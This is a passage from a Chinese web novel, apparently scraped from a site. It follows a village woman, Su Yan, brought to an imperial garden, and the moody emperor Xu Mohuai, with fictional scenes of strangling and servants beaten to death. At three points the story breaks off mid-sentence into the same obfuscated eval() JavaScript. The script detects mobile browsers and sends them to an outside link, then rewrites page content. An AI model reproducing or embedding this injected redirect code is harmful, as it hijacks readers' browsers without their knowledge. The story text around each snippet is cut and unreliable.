显然他们都看到了苏燕脸上的污迹,然而碍于徐墨怀在此处,他们笑也不敢,提醒也不敢,只能欲言又止,面色各异地偷偷看向苏燕。 苏燕本以为云塘镇那处的宅院已经是极为富丽了,谁知才进了青環苑的门便能见到奇花异草雕梁画栋,地上都有砖石铺成的路,不像在云塘镇,一下雨地上就泥泞不堪。 府中下人们身上的穿着都比她任何一件衣裳要好得多,侍女的发髻做得高高的,堆叠起来像朵云,上面坠着小巧精致的珠花。 苏燕发现她们看向自己的眼神带着讥诮,似乎在竭力掩饰笑意。她不由自主往后退了两步,手指紧紧攥住袖子,不敢跟着徐墨怀往里走。 “苏燕。”徐墨怀叫了她一声,带有催促的意味。 苏燕迎着众人古怪的目光,如同一个闯进陌生人家的野猫,每一步都显得小心翼翼。她忐忑不安地朝他走过去,徐墨怀见她动了,这才抬步继续往前走。 青環苑很大很大,四处都开着苏燕没见过的花,偶尔还能看到长相奇特的鸟,以及时不时传来不知是什么动物的叫声。苏燕心乱如麻,惶恐地跟在徐墨怀身后,她觉得自己与这个地方格格不入,就连一棵草都比她要合适留在这儿。 苏燕走得很慢,徐墨怀回过头的时候,她仍沉浸在自己的世界里,眼睛不看路,更像是在看鞋尖上的珍珠。 他停下脚步,站在原地等她,想要看她什么时候发觉。然而苏燕当真没有抬头,就那样直直地走上前,直到余光瞥见徐墨怀玄色袍角,差点撞到他怀里了,这才猛地醒过神,迅速往后退了两步。 徐墨怀皱起眉正要发话,就听见远处传来几声狗吠,而这声音还越来越近。 狗吠声传到苏燕耳朵里,让她几乎无法控制地浑身肌肉紧绷,瞳孔也跟着骤然一缩,呼吸都变得不顺畅起来。她想跑,两只脚却像是被钉死在了原地,一步都动不了。 狗吠声越来越近,徐墨怀也注意到了她的异样,看到她正神情恐惧地发抖。 她脑子里都是恶犬咆哮着撕扯人肉的场景。 徐墨怀神情松软了几分,说道:“这里的狗不咬人。” 她置若未闻,吓得脸色煞白,一副喘不上气的模样。 徐墨怀上前一步将她拉到自己身后,在两只细犬冲上来围着他又叫又摇尾巴的时候,神色不悦地让人把狗牵走。 苏燕缩在徐墨怀背后,扯着他的衣服不敢动,要不是徐墨怀抓着她的胳膊,在这两只细犬边闻边转圈的时候,她已经忍不住拔腿就跑了。 等狗叫声远了,她紧绷的身心终于松懈,硬是将逼到眼眶的泪花给忍了回去。 “你好端端地怎么……”徐墨怀的话只问出一半,心中便得到了答案。 回到的长安的路上他早就将马家村几个人抛到脑后,却不曾想到不过是杀了几个苏燕的仇人,能将她吓到这种程度。当面反应大一些也就罢了,如今过了这么多日,她非但没有忘却,反而因此一事开始怕狗,即便她从前也是养狗的人。 徐墨怀望着她惊魂未定地平复呼吸,半晌没有说话。 苏燕没有听到他不耐烦或嘲笑的话语,还以为自己是把他惹到了,不安地低着头等他发话,过了一会儿,就听他平静道:“走吧,狗已经让人牵走了。” 苏燕缓了口气,任由他攥着自己的手腕,跟着他去了一个很大的院子。 她第一次知道院子可以做这么大,里面的花圃里种了各色各式的花,苏燕一个也没见过,光是一个花圃就比她的家大多了。院子里还有假山与莲池,里面的荷叶漂在水面上,与她往日见过的都不一样,荷花也大不相同,水池里有几尾锦鲤在莲叶间穿梭嬉戏。 徐墨怀看她似乎是从方才的惊吓中走了出来,已经开始好奇地打量这个院子了,便准备交代几句话就离开。 苏燕毫不讲究仪态,蹲在地上去看那些形态各异的花。 徐墨怀站在她身后,也没有出声阻拦。 “你以后就住在枕月居,每日会有人侍奉你的起居,朕会让夫子教你读书识字,若朕来抽查,你还是半点进步都没有……”他说到这里,语气便多了警告的意味。 苏燕瑟缩了一下,好似手心都在隐隐作痛。 “没有朕的吩咐,你哪儿也不能去。至于什么话能说,什么话不能说,你最好也在心中掂量清楚了。” 苏燕一动不动地听着,徐墨怀见她乖巧点头,伸手揉了揉她的发顶,忽然觉得就好像在摸他养的狗一般。 不过相比之下,狗可比人听话多了,至少不会违抗他的意思,更不会背叛抛弃。 过了一会儿,他准备要走了,苏燕还在那几株芍药面前一动不动地蹲着,像是在发呆一般,半点没有要与他道别的意思。 徐墨怀问:“知道皇帝要走的时候,你该说什么吗?” 苏燕疑惑地扭过头看向他。 “你该说恭送陛下。” 她领会了意思,立刻就跪下去准备给他磕头。 徐墨怀只觉得脑子里有个地方突突地跳,伸手将她一把拽起来,没好气道:“谁告诉你在皇帝面前必须要下跪磕头的。” 本朝并没有那么多忌讳,除了民间帝王仪仗出行的时候要做个样子,从来没有要人动不动下跪的,甚至他父亲在朝堂上看臣子站累了,还会如前朝时命人搬来席子,让朝臣们跽坐着议事。 “不用下跪?” “不必。” 她点点头,连行礼都不会,僵站着说道:“恭送陛下。” 徐墨怀发觉跟她计较这些毫无用处,转身便快步走了。 随着他的背影消失,苏燕坐到水池边上,俯身去逗弄里面的锦鲤,终于在粼粼的水光中,看到了自己一团墨迹的脸。 —— 徐墨怀从枕月居离开,常沛已经在候着他了。就在快离开青環苑的时候,他突然回想起了什么,随后对侍者说:“带人把那棵牡丹花树移去枕月居。” 常沛听得连连皱眉,一个乡野间出来的村妇,能识得什么牡丹,再名贵的花都是糟蹋。 然而到底是件小事,他虽爱花,却也不至于斤斤计较,徐墨怀说什么都应了。 尤其是长公主与皇后的忌日临近,众人都知道这个时候要小心谨慎,绝不能招惹到徐墨怀。 这几年的忌日,连公主都不能接近徐墨怀,只有常沛能守在一边,这几乎成了宫里一件心照不宣的事。 —— 苏燕住进青環苑以后,每日都有人送来上好的衣裳和吃食,为她梳起复杂的发髻,金钗玛瑙都往她发上簪。就连洗澡都有人守在屏风后,随时等着她呼唤。还有人往枕月居栽了一大棵花树,搬花的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002122|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候小心翼翼,生怕弄掉一片叶子似的。紧接着就有人告诉她,那就是牡丹花。 侍奉的人对她照顾得很周道,但苏燕却总觉得怪怪的,在这里她不用采药,不用劳累地爬山了,却也没人会在乎她的想法。 加上她的官话带着乡音,听起来便会有几分滑稽,有侍女几次在她开口时发笑。起初都还克制着,最后见苏燕根本不计较,笑的时候也不遮掩了,让她都有点难堪。 青環苑的人大都知道她是徐墨怀带回来的,他们当然不会往外乱说,但也会忍不住好奇她的来历。 苏燕为人十分诚恳,旁人问了她便如实告知,只是没敢说自己救了徐墨怀这件事,怕他回来后要责骂。下人们从她的言行举止也能看出,她就是个没见识的农妇。虽说长得还算清丽娇俏,一旦混入美女如云的长安,便也没什么稀奇了。何况她言谈举止十分粗鄙,见什么都大惊小怪,诗词歌赋更是半点不懂。 即便是他们侍奉徐墨怀已久,也弄不清他到底为什么会带这样一个女人回来,还好吃好喝地供着她。 倘若苏燕身份尊贵,他们毕恭毕敬服侍的时候,心中也不会有什么怨言。然而知道了她的出身竟这样低微,许多人便难免用轻蔑,甚至是隐含嫉妒的目光看她,也没有了最初的无微不至,逐渐开始怠慢。 尤其是夫子来了以后,侍女们会嘲笑她狗爬似的字,会在她把夫子气到吹胡子瞪眼的时候捧腹大笑。 毕竟谁会甘愿对一个不如自己的人低声下气,他们更愿意把苏燕当做一个笑料,这样的话也算填补了心中的不平衡。 苏燕不是傻子,她能感受到那些人的变化,也能感知到他们带有鄙夷的打量。 她在马家村即便是孤女,也是和村民一样的普通人,大多数人不会因为几句流言就看低了她,更不会认为她身份低贱。她没被人伺候过,也不用给谁下跪认错,更不用被人嘲笑讥讽。 但那些人笑就笑了,她又能怎么样,上去跟人打架不成? 而这期间,徐墨怀一直没有来过。 就在苏燕以为自己被忘了的时候,他又突然出现了。 端午的晚膳有粽子,苏燕从前见过却没吃过,这次一口气就吃了两个。糯米不好克化,吃完积食睡不安生,苏燕躺在床榻上翻来覆去。 正值月初,蛾眉月高悬,冷幽幽的清辉落下来,像是在窗棂上覆了层薄霜。 苏燕前半夜因为蚊虫和那两个粽子一直没睡着,直到后面才逐渐昏昏沉沉。 就在她都快睡着了的时候,门突然哐得一声巨响,似乎被谁狠狠地踢了一脚。 苏燕一个激灵坐起身,紧张地看着门口,准备问问是谁这么缺德,大半夜扰人清梦。然而不等她发问,本就没有插好的门就再次发出一声巨响,在寂静的夜里显得十分骇人。 “哐——” 门开后是一个高大的人影,身上蒙了一层幽冷的月光,看着就像是深夜出现的游魂。 苏燕吓得半死,大声喊侍女的名字,然而很快那人走近了,他什么话都没说,只是从窗前走过,月光照亮他的面容,苏燕的叫喊声便戛然而止。 徐墨怀面色阴翳,一双点墨似的浓黑双眸,在夜里莫名让人心慌,他似乎心情很不好,整个人透出一种狂躁的气质。 尤其是他硬生生将门踹开,这件事本就十分不合常态了,苏燕觉得他有些不对劲。 “为什么不睡?” 他盯着苏燕,问出这句话的时候,毫无关切的意思,而是十足的不耐烦。 苏燕根本不明白徐墨怀为何半夜来此,但她能看出这个时候不要招惹他。 于是她披着衣裳往后坐了坐,没敢说自己是被他踢门的动静给吵醒了。 徐墨怀看她往里让了位置,便直接脱靴上榻,占了她半个枕头。 苏燕迷惑不解,轻轻地推了他一下。“陛下……” 徐墨怀睁眼,黑沉无光的眼神落在她脸上,好似她再说半个字就要杀了她。 苏燕连忙把话堵回去,抱着被子缩到最边上,徐墨怀这才阖上了眸子。 19. 第 19 章 苏燕呆坐在床榻上好一会儿,见徐墨怀气息平稳,似乎是睡着了,她才小心翼翼躺下。 此时已是深夜,她把自己缩在墙边,搭着半截被褥很快就困了。 然而夜里,苏燕睡得正好,突然的失重感将她惊醒,随后额头撞上了东西,剧痛还没让她缓过神来,面前突然覆上一个阴影,一个力道落在她脖颈间,将她直接从地上提了起来。 落在她脖子上的手指越收越紧,苏燕的呼吸被堵住,憋得脸色通红,胸口都在闷闷地发疼。 苏燕被这人吓没了半条魂,用力地拍打掐着她的那只手,同时还在努力出声呼救,然而那些话一出口都变得破碎嘶哑。苏燕不顾一切地挣扎,期间踢到了什么东西,重物落地发出闷响。 过了一会儿,当她觉得自己眼前发黑,一阵天旋地转的时候,落在她身上的力道突然卸了,苏燕瘫软在地大口地喘着气。 而方才还掐着她不放的人,像是被什么砸到了一般,立刻退后了几步。 月光从窗口漏进来,照见了徐墨怀满是戾气的一张脸,一双眼犹如野兽般可怖。 苏燕捂着脖子,身体蜷缩起来躲在床柱边,恐惧又警惕地望着他。 徐墨怀僵站在原地,胸口剧烈地起伏着。他似乎也注意到了苏燕的反应,抬手捂着额头,面色好似是痛苦一般,没一会儿便踉跄着走出了屋子。 苏燕坐在地上,一直等人走了很久后,心跳才慢慢平稳下来。 徐墨怀就像个疯子一样。 当初才捡到徐墨怀的时候,他夜里时常惊梦,倘若他猛得醒来见到身边有人,立刻会警惕凶狠地瞪着她,就像一条蓄势待发的毒蛇。 苏燕以为是他受人暗害,才导致夜里惊悸。 她只当是一件无关紧要的小事,却不曾想只不过是同榻而眠,她连徐墨怀一片衣角都没碰到,却险些被他给掐死。 苏燕心神不宁地去插好门,确认这次不会被踢开了,这才拖着摔疼的腿回到榻上。 然而额头实在疼得厉害,再一摸竟然已经微微肿起,她虽然有种劫后余生的庆幸,也有被无辜中伤的愤怒,一时间是怎么都睡不着了。 一直等到了晨光熹微,似乎有婢女知道了昨夜发生什么,一早便来服侍她起床洗漱,被与温水一同送进屋的还有一小瓶药膏。 苏燕坐在镜子前看到了额头的青肿,心中是说不出的郁闷。 婢女似乎并不意外她的遭遇,甚至在苏燕上完药后,还疑惑地问:“只这两处伤吗?” 苏燕嗓子又哑又疼,无奈道:“两处不够,你想让我被打死?” 婢女讪笑一声退下了,留下苏燕独自生闷气。 早膳送来,她扒拉了两口,喉咙实在是疼痛难忍,喝口水都要疼,她只好放下筷子出去走一走。 青環苑里称得上是移步换景,苏燕刚来的时候一直拘谨着没出枕月居,这几日才壮起胆子四处走走。起初跟着她的有四个侍者,到现在只剩一个婢女了。 大概是瞧她老实好糊弄,婢女嫌日头太烈,都不肯出去。苏燕在屋里待着便有些害怕,出去走一走心情才算好些,一直跟在她身边的婢女催促道:“苏娘子,我们这便回去吧。” 苏燕也不想强迫人,点点头道:“你不用跟着我,我自己走走。” 婢女脸色立刻沉下来,不悦道:“苏娘子这说的是什么话,主子的吩咐我们哪有不听的道理。” 苏燕正想说好,就听几声狗叫突然近了,跑过来一只雪团似的狗,她吓得浑身僵硬,不等要跑,那狗就迅速地扑上来撕扯她裙裾。 苏燕发疯似地甩开,将自己的裙子从狗嘴中夺下来,提着裙角一路狂奔想要躲起来,小狗摔在地上发出一声惨叫,打了个滚爬起来又朝着苏燕追过去。 婢女见苏燕被一只小狗吓得仓皇逃窜,捂着嘴笑了起来,而后回廊跑过来一个衣着艳丽的女人,美目怒瞪,骂道:“方才谁打了我的狗?” 婢女认出她是常沛的宠妾,连忙摆手道:“不是我,娘子的狗我是万万不敢动的。” 何娘子听了怒气冲冲地带人追过去,很快就见着了被吓到边哭边往假山上躲的苏燕。她面色苍白地发抖,捂着耳朵坐在假山高处,底下才到她小腿高的小狗正对她龇牙咧嘴地狂吠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002123|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何娘子还是第一次见人为了躲狗这般失态,都恨不得爬到假山顶上了。 然而眼看这女子衣着不凡,相貌也不错,还被安置在青環苑这种地方,多半是常沛又收来的姬妾。 想到这种可能,何娘子心中恼火,骂道:“你是哪儿来的东西,还敢踢我的狗,给我滚下来!” 苏燕捂着耳朵充耳不闻,颤声说:“快把你的狗牵走!” 何娘子没得到回答反被教做事,一时间怒火更甚,指着苏燕说道:“来人,把这小贱人给我拽下来,我今日非要你给我狗磕头谢罪!” 苏燕脑子里都是铺天盖地的狗叫和哀嚎,有人来拽她便下意识挣扎,直到她被压着跪在何娘子面前,那狗还在狂吠着要来咬她。 苏燕在惊惧中,似乎连意识都变得不清醒。她看到何娘子抱着狗,殷红的嘴唇一张一合,面带怒容地说着什么,她都听不清了,只知道挣开压着她的人,爬起来就要逃离这个地方。 何娘子怒冲冲地放下狗,任由它追着苏燕不放,而后将她追到水池边,惊慌失措中的她没站稳,被裙子绊倒,猛地栽进了池水中,锦鲤被吓得四散而逃。 苏燕浑身一凉,耳朵里漫进水后,身边嘈杂的声音似乎停滞了一瞬,等她从水里爬起来,就听到狗吠声,嬉笑声,以及婢女惊慌的呼喊。 她捂着耳朵蜷起身子,坐在水池里浑身发抖。 何娘子他们还在笑,似乎她狼狈不堪的模样真的那么有趣。 苏燕被吵得厉害,那些笑声像是尖刺在往她耳朵里灌。 有一个小厮过来拉扯苏燕,慌乱中她在水里摸到了一块石头,在他碰到自己的一瞬间用力砸了过去。 —— 枕月居的人一日之内被换了个干净,徐墨怀坐在苏燕对面,面色复杂地望着她额头的伤,倾身想将她额前的一缕发拨到耳后,苏燕却反应极大地往后倒去,就像一只受惊的雀鸟一般见不得丁点风吹草动。 他终于恼了,一挥袖子走了出去,准备找人算账。 常沛拎着一根染血的鞭子站在院子里等他,见到他就说:“人已经处置了,请陛下责罚。” 20. 第 20 章 徐墨怀早前便吩咐下去,将青環苑养的狗都送走,却没想到还能突然冒出一个何娘子。常沛的夫人病逝后,他一直没有再娶,便在府中纳了几房妾侍,何娘子最得宠爱,才敢擅自到青環苑来想寻他,不曾想将苏燕误会成了他豢养的美妾。 徐墨怀眉头紧皱着,手指攥紧又松开,显得他狂躁中又有几分隐约的不安。 常沛看出他尚未恢复理智,此刻的他最容易失控,在见到苏燕的时候就已经去拔剑了,最后又不知为何硬生生忍下去,让常沛将跪在地上求饶的人带走处置。 谁都知道徐墨怀对林馥一往情深,长安多少贵女他都不放在眼里,即便是东宫的姬妾,也没有听闻谁得到了他的宠爱。将苏燕带到青環苑后他便走了,一直没有来过,连常沛都不曾在意苏燕,徐墨怀更是从不过问,如同忘掉了这里还有个人。 侍者们都是青環苑的人,见惯了达官显贵,便难免对言行粗鄙的苏燕心生不满。又听人说她曾在天子落难时出手相助,徐墨怀将她带来此处无非是好吃好喝供着她,毕竟一个乡野之人,还指望将她带进宫不成。 他们都以为苏燕会被徐墨怀抛在脑后,再也不会过来了。然而他不仅来了,还打伤了苏燕,府中的下人更是认定了她不得徐墨怀欢心,在何娘子欺负苏燕的时候没有第一时间去阻止。 直到青環苑众人被召集在宽阔的庭院中,跪在地上清扫地上的血迹。 何娘子和在场的人都被打得皮开肉绽,血渗进了砖缝,混到了泥里,他们搬来几桶水冲洗,还是冲不干净,最后艰难地用布去擦拭,跪在地上扣出砖缝里的碎肉和头发。 有人当场就吐了出来,遭到一顿责骂。 放在从前,徐墨怀半年才会来一次青環苑,如今一个月就来了三次,再糊涂的人看着地上的血,也该明白是什么意思了。 此事是常沛的姬妾引起,青環苑的侍者看护不当,按理说徐墨怀也该追究常沛,然而苏燕到底只是一个无甚要紧的女子,他当然不会为了这么一件小事责罚常沛,只打死了他的侍妾了事。 之所以要如此动怒,不是因为苏燕受了惊吓,而是因为下人对苏燕的慢待,无异于忽视了徐墨怀的天子威严。人是他带进青環苑的,即便他不闻不问,也轮不到一群奴婢放肆。 到底是自己的人,常沛亲手打死何娘子,也算是一种赔罪了。 徐墨怀没有计较。“也不是什么大事,既然该罚的都罚过了,此事就此了结。” 常沛抖了抖手里的鞭子,问他:“陛下留下此人,日后想如何?” 既不是看上了人家的身子,又何必给自己找一个麻烦。 徐墨怀未曾细想过日后,只是现在他还不想轻易地放过苏燕。既然口口声声说意中他,永不会抛弃他,那就必须要做到,即便他先放手,苏燕也必须将他抓紧。 “暂且留着她,有什么事日后再议,现在说这些为时过早。” 徐墨怀没有给出一个确切的答案,既没有要接苏燕进宫的意思,也不像是对她毫无情意。 常沛很少去猜徐墨怀的心思,也不会对他的决定多加置喙,既然徐墨怀说了,他便不会去插手。 青環苑一天之内就死了八个人,几乎半个青環苑的人都在清理地上的血迹。从前常沛对何娘子几番纵容,任由她在青環苑耀武扬威,然而仅仅是一日之间,他便将人活生生打死,丢去喂这园中饲养的猛兽。 下人将血肉模糊的尸身抬起来的时候,手都止不住地发抖,根本不敢去看何娘子扭曲的脸。 此番谁都知晓了,枕月居里的女人不能欺负。 —— 苏燕已经将湿淋淋的衣裳换了下来,她当时被逼得有些发狂,无措之间拿石头把一个下人砸得头破血流,婢女们这才惊叫着阻止了何娘子的举动,嚷嚷着去找主子来告状。 何娘子得知她并非常沛的姬妾,这才慌了神抱着狗想要离开。 后面的事苏燕也不清楚,她惊魂未定地被扶进屋子,才换下一身衣裳准备合衣躺下,徐墨怀就突然到了。 徐墨怀一声不吭地打量了她一番,便又匆匆出去。 苏燕可还记着他昨晚差点杀了她的事,才缓过来就遇到一个蛮不讲理的疯女人,现在心中可谓是积攒了一大团火气无处释放。 徐墨怀一走,她愤愤不平地爬上床榻,裹着被子准备睡觉。然而没过多久,房间里就响起了脚步声,她一听便知道是谁,立刻闭上眼睛装睡。 脚步声越靠越近,最后在苏燕的床榻前停下了。她强装镇定,不让自己露出异样,如果徐墨怀还算个人,看她已经入睡应当会离开。 然而等了好一会儿,徐墨怀依旧没有任何动作。 苏燕是侧躺着睡,理应不会被他看出什么,然而越是这样,她心跳得越快。仿佛能感受到徐墨怀冰冷的视线落在身上,即便她看不见,也觉得如芒在背。 过了一会儿,她感到床榻微微下陷,紧接着听到了细微的布料摩挲声。 徐墨怀坐在了榻边,也不知道想做些什么。 苏燕心里正慌乱,忽然一阵冰凉覆上了她的脖颈,她就像一只蚂蚱一样猛地跳起来往床角躲。 “你干什么?” 徐墨怀眉梢轻挑,戏谑道:“怕什么,以为朕要杀你不成?” 随手试探一下,不想她还真是在装睡。 苏燕看他的确不像是要杀了她的模样,昨晚更像是发癔症一样反常,便捂着脖子瞪过去,恼火道:“你昨夜险些要了我的命!” 她指着自己的额头,示意他看证据,又拨开衣襟给他看自己脖颈上的红痕。 即便什么都不做,她此刻嘶哑的声音也足以提醒到他了。 徐墨怀清醒后并不等于遗忘,他只是昨夜不想留在宫里,便鬼使神差地来了青環苑。枕月居是他偶尔歇息的地方,在进去之前,他几乎要忘了里面还有一个苏燕。换做旁人,他也许真的会在失控之下杀了她,可昨夜他还是在苏燕的痛呼下收了手。 他厌恶自己这副模样,谁撞见了都要死。 可苏燕是有些不同的。 徐墨怀朝她靠近,微微俯身去看她颈间的伤,听着她喋喋不休地控诉。她一边畏惧他,一边又会因为愤怒,暂时地忘记这份畏惧。 苏燕把他丢在牛背上带回去,给他擦洗血迹和污泥,将摔倒在地的他一次次扶起来。 她已经见过他最狼狈最失态的模样了。 苏燕生怕徐墨怀突然用力将她弄疼,然而还好,他仅仅是用冰凉的指腹摩挲了一下她的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002124|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随后便坐正了身子,微微弯着眉,说道:“你放心,朕不会杀你。” 苏燕稍微松了口气,犹豫了一下,小声道:“陛下为何……” 徐墨怀笑得有几分森然:“很想知道?” 她察觉到不对,改口道:“不想。” “你最好是。” 徐墨怀这样说了,苏燕当然不好再问,更不可能从他面上看出丁点愧疚。 苏燕等着徐墨怀离去,好让她回到被窝里睡觉,然而他像是看穿了她的意图,说道:“起来,朕要检查你的功课。” 皇帝不是日理万机吗?怎么还有这种闲心思? 苏燕恼火道:“陛下有公务在身,不必为我烦心,耽误了政事要不得。” 他面无表情道:“谁教你说这种话的?” 是枕月居的侍女,她们起初对苏燕毕恭毕敬,指望着她能受到恩宠,带着她们鸡犬升天,哪知道苏燕被丢到这里以后,徐墨怀根本是不见身影,想必是将她给忘了,于是她们偶尔会念叨:“陛下有公务在身,怎么会为了一个乡下来的小娘子费心,耽误了政务可要不得”。 苏燕垂下头,说道:“没人教我。” 徐墨怀不会费神去关照苏燕的小心思,他只会提醒:“朕说什么,你只管照做,不要忤逆朕的话。除了朕以外,旁人说什么都不是你该关心的。” 他语气十分温和,一如当初在观音山,对待苏燕轻声安慰百般诱哄,如今他恢复了高高在上的地位,即便再温和,话里也都是不容拒绝的威严。 “起来。” 苏燕手指紧攥成拳,听话地起身。 —— 林馥的孝期已经过了,林氏一族几乎都在盼望着帝后大婚的那一日。若不是期间各种意外,林馥早该是东宫的太子妃,也不至于等到徐墨怀登基半年,后宫还空置着。 林照公事繁忙,徐晚音总寻他不得,时常去找林馥解闷儿,与她商议婚事的细节。 徐晚音年幼时正逢乱世,大靖还不曾建国,她父皇与太祖皇帝一同打天下,徐晚音被迫与母亲分离,被寄养在林家直到十余岁才接回宫。母亲和皇姐去世后,她唯一的依靠便是徐墨怀,即便她心底对这位兄长有几分惧怕,也不得不向他寻求安慰。 徐晚音对林馥的婚事很上心,之所以与林馥交好,也是希望她成了皇后多帮衬自己,既让皇兄挂念着她,也能让林氏更加接纳她这个公主。 林馥小口小口地啜饮着药汤,徐晚音就在一边说着婚事的各种安排,似乎比她这个要成婚的人还要迫不及待。 徐晚音当然知道皇兄并不像传闻中那般中意林馥,心中才更加焦急,想着法子让二人增进感情。 “既然阿馥身子好多了,我们便出去走动一番,总比闷在屋子的好。” 林馥性子软,无论对方说什么,都难以说出拒绝的话。何况徐晚音劝她几次了,她都没有答应,这次总不好再拂她的面子。 “公主想去哪儿?” “听闻常舍人的青環苑中新养了几只新奇玩意儿,我带你去瞧瞧,没准儿能遇上中意的,抱回来养着玩儿。” 听到青環苑三个字,林馥微皱下眉,表情有些犹豫,徐晚音立刻摇了摇她的胳膊。 “那好吧。”